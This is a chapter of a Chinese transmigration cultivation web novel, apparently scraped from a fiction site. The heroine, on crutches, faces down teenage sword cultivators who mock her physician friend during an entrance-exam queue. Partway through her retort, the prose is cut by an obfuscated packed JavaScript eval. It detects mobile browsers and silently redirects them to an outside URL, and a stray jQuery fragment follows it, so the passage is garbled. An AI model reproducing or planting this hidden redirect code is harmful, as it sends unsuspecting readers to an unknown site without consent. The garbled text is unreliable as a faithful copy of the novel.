这人谁啊?小嘴巴像淬了毒似的。
然而没等芙黎想好是先骂人还是先骂娘,就见身旁的人影往前两步站了出去。
阮明洲双手拢在袖中,清冷平和地直视着白衣少年,与之四目相对。
时间仿佛突然静止,空气中充斥着诡异的沉默。
一息,两息,三息……
就在气氛越发剑拔弩张,甚至都有路人打算出来高喊“算了算了”的时候,阮明洲平静的神情终于有了变化。
只见他舒展的眉头骤然蹙起,眼里也带了些许疑惑:“你是?”
白衣少年:“……”
芙黎:“……”
人在无语的时候真挺无语的……
“噗嗤……”
突兀的笑声在白衣少年身旁响起,那是他的同伴之一,小伙子估计把这辈子的伤心事都想了个遍,结果还是没忍住……
“你笑什么?”白衣少年被彻底激怒,责备完同伴又指着阮明洲大吼:“你少在这装不认识!我,中州剑道高家,高安悦,经常随我大伯,也就是高家家主高彦超去阮家拜访,还曾在明湖哥哥的院子里小住半月,你怎么可能不认识我?”
阮明洲眉心的疙瘩舒展开来:“想起来了。”
高安悦哼笑一声,抱手等着阮明洲的反击,然后……
就没然后了。
高安悦:“……”
讲道理,芙黎都有点同情高安悦了。
从认识到现在,芙黎只当阮明洲是个淡人,除了对病情医理知无不言以外,阮明洲就和人机一样,需要芙黎先挑起话头触发提示词,然而和人机不一样的是答与不答还得看阮明洲当时的心情。
但是像现在这样,别人都贴脸开大了,阮明洲仍旧爱答不理,如此稳定的精神状态,阮明洲不该修道,他应该去参禅。
就在芙黎以为闹剧到此为止的时候,排在高安悦后方的几个少年却看了过来,鄙夷又恶劣的目光在阮明洲和芙黎身上徘徊——
“高师兄,他就是玲珑阁少阁主阮明洲?瞧着也没什么特别。”
“特别?他明明是水灵根非得转去玄三宫修行医道算不算特别?”
“噗哈哈哈哈真的假的?他是疯了吗?唉?你们看阮明洲旁边那女的,该不会就是他给治瘸的吧?”
……
少年们越说越过分,看热闹不嫌事大的路人也越来越多,然而事件中心那道单薄的身影依旧岿然不动,自始至终都没反驳哪怕一个字。
芙黎听得半懂不懂,但不妨碍她拳头硬了——大庭广众之下这群十五六岁的“小黄毛”公然扒皮他人隐私,这不就是霸凌吗?
这事要发生在芙黎原来的世界,《未成年人保护法》都保护不了这几个兔崽子!
再说阮明洲不仅是她的救命恩人,还是她穿越以来唯一的朋友,更是能随便借钱且只要她不跑路就不催收的金主爸爸啊!
这能忍?
反正芙黎忍不了一点,哪怕会引起原文主角团的注意,她也要去救驾!
“唉?”
芙黎救驾未遂,她真被流马架得下不来了……
脚尖离地面约摸有二三十公分的距离,放平时随便跳,但芙黎看着自己亲手绑在拐杖上的左腿——
二次伤害是小事,反正左腿也没知觉,芙黎担心的是,她并不确定跳下去是能完美落地还是摔个狗吃屎,要是后者的话,小黄毛们又白捡一个嘲讽素材……
“这破马不是会读心术吗?”
芙黎想要复刻上马时的情景,流马却无动于衷,只一味的跟着队伍缓慢移动,已经驮着芙黎和阮明洲拉开了一段距离。
那兢兢业业排队的样子,仿佛它才是真心想考玄三宫的那一个。
芙黎急得团团转,正想开口求助前后排,一个扎着高马尾的少年恰好从她面前路过。
“帅哥!对,就是你!”芙黎毫不客气地把手递了过去,“你能扶我一把吗?”
高束马尾的少年一身黑色劲装,清俊的脸上一双眼深沉而内敛,像是曾看尽日月山川和沧海桑田,和他那少年感拉满的气质完全不符。
“呃……”芙黎被这双眼睛盯得没来由的心虚:“不行就算了。”
下一秒,高马尾便伸手搭在芙黎的胳膊上,稍用巧劲就让芙黎稳稳落地。
高马尾疑惑地看着依旧在队列里的流马:“它不是你租的?”
“啊?是我租的,花了三个灵石呢!”芙黎抱怨:“租的时候还好好的,怎么现在就不听话了?”
高马尾脑袋上的问号都要实质化了:“你花钱租的?”
“对啊!”芙黎没工夫和他闲聊,“现在不是说这些的时候,帅哥你认识这玩意儿对吧?它是不是会一直在这里排队?”
高马尾想了想才回:“应该是。”
“很好。”
芙黎从腰间的芥子囊里摸出纸笔,垫在流马背上刷刷写下两个字,由于没找到浆糊之类的黏性物体,索性掏出一段绷带,把写好的纸张捆在马背上,随后又和前后排的考生打了个招呼,意思是让流马暂时代替她在这儿排队。
“完美!”芙黎满意地杵了杵拐杖,又倏地对高马尾道:“对了帅哥,我打听个事,这里的人素质怎么样?惹急了会打残疾人吗?”
“……”说实话,高马尾已经跟不上她离奇的脑回路了:“不能,在考核现场动手打人会被取消考核资格。”
“感谢感谢,帅哥你人真好,祝你考试……考核顺利,成功入门!”
芙黎随口发完好人卡,就拄着拐一蹦一跳的往阮明洲那边赶。
高马尾瞧着芙黎的背影,不禁勾了勾唇角。
有点意思。
几秒后他又想到什么,朝着又离远些许的流马走过去,好奇地看着捆在马背上的纸,上面只写着两个字——芙黎。
高马尾瞳孔骤然一缩,眼眸变得更加幽深。
*
还没完全驯服拐杖的芙黎满头大汗地赶到“案发现场”,汗都来不及擦就走入冲突中心。
穿书前吵架从来没输过的她此时此刻只有一个想法——是时候展示嘴强王者真正的技术了!
芙黎尽量自然地站到阮明洲身边,夹着嗓子问:“明洲哥哥,我都排出去老远了你怎么还在这儿?”
咦……
芙黎被自己恶心得不行,估计现在把她扔黄河里,全国人民就都能喝上茶水了。
好在这死动静成功引起了一众小黄毛和围观群众的注意。
芙黎挨个扫视着小黄毛们,继续夹:“你们都是明洲哥哥的朋友吗?”
“嘁!”高安悦想都不想就反驳:“正常人谁会和他做朋友?”
“……”
行吧,瘸子确实也算不上是正常人。
芙黎倒了两口气才保持住茶里茶气的人设:“我想也是,像明洲哥哥这样救死扶伤,无时无刻都在和死神抢人的白衣战士,怎么可能和你们这样正常且普通的剑修做朋友呢?”
“你……”
没给小黄毛们还嘴的机会,芙黎拔高声音强势打断:“当然我没有贬低其他剑修的意思,只是这几位……看着是翩翩少年郎,却干着嚼人舌根搬弄是非的事,啧啧,这症状看着像阴阳失调啊!奉劝几位要么找个医修调理调理,要么趁早转修一些猛男该修的道,免得成天娘们唧唧的,别人都分不清是该叫你们师弟,还是师妹呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314596|182926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
小黄毛们都是世家子弟,什么时候被人这么骂过?芙黎的话就像往烧得冒烟的油锅里浇了一瓢水,顿时炸得噼里啪啦,一时间骂什么的都有。
芙黎时刻观察着小黄毛们有没有动手的迹象,还好高马尾没骗她,小黄毛们确实只动口不动手,只是这些国粹“C语言”没一句能听的。
芙黎掏掏耳朵,指着骂得最凶的高安悦问:“明洲哥哥,他怎么骂得如此难听?难不成你欠他钱了?”
明明芙黎只是顺嘴恶心恶心高安悦,没想到像是输对了语音口令,唤醒了待机的阮明洲。
阮明洲抬起头,说出了被围攻以后的第一句话——
“是他欠我钱没还。”
闻言,其他小黄毛都闭嘴了,只有高安悦梗着脖子地吼:“你胡说!我什么时候欠你钱了?”
“你六岁那年初到我家,打碎了我祖母最喜爱的杯盏,管我借了二百灵石还给祖母,我还保存着你当时写的借条,四年前你从我这拿走一颗价值三个灵玉的五品丹药,当时你说没带钱回头还我,两年零八个月前……”阮明洲人机似的一桩桩一件件列了好半天,最后总结:“你一共欠我十一灵玉六百五十九灵石。”
别说小黄毛们,芙黎都听傻了。
这哪是算账?这是高安悦的黑历史啊!
芙黎地铁老人看手机似地看着阮明洲,这小子记性这么好,刚才是真没认出高安悦还是装不认识?
*
谁也没想到这场闹剧是以高安悦在众人一言难尽的眼神催促下,凑够灵石还给阮明洲而潦草收场。
“我还当那几个兔崽子多了不起呢,呵,就这?”芙黎带着阮明洲找寻着不知道排到哪里的流马:“你也是,早把借条拿出来他们还敢蹦跶这么久?”
“喂!”
呼唤声从后方传来,芙黎下意识回头,结果对上了那双深沉而内敛的眼。
芙黎下意识就想玩梗接一句“首先我不叫喂”,然而被那双眼睛盯得心里一个咯噔,只能怂怂地指着自己:“叫我?”
“对。”高马尾少年双手抱在胸前,更加显得腰细腿长:“在你看来,什么才是猛男该修的道?”
“哈?”
芙黎大脑顿时死机,鸡汤文学不是说人生没那么多观众吗?怎么到了修真界随便拎一个出来都是她影迷?
此时阮明洲也难得抬头看了看高马尾,确定脑海里没有关于此人的信息之后又垂下眼皮安静待机。
“这个嘛……”芙黎绞尽脑汁地编,眼睛都眨出了双闪效果:“猛……猛男当然是指体修和武修啦!体修就不用说啦,大家都懂嘛,至于武修……总之我见过的猛男武修用的都是枪!”
嗯,她见过的猛男“武修”包括不限于西楚霸王项羽,常山赵子龙以及藕霸哪吒,要比这些人再猛一点,就只能换另一种“枪”了。
看着高马尾眉心的疙瘩,芙黎又疯狂往回找补:“当然啦,这只是我个人的想法!我的梦中情宗玄三宫也一直教导弟子道法自然,所以用什么武器修什么道都不重要,修行最重要的还是修心嘛!”
然而谁也没想到,高马尾竟然被这通瞎哔哔震得愣住,几秒后才点点头:“受教了,多谢。”
芙黎目送着高马尾离开,脑袋上全是问号:“这帅哥怎么奇奇怪怪的?”
“他是武修,大概率是剑修。”阮明洲淡淡道:“听了你的分析,他可能道心不稳了。”
“啊???”
“最坏的结果就是道心破碎,性命不保,不过没关系,三千年中五州界内并无一人飞升成仙,修士早死晚死,都是一样的。”
芙黎身体一寸寸发凉:“你是魔鬼吗?”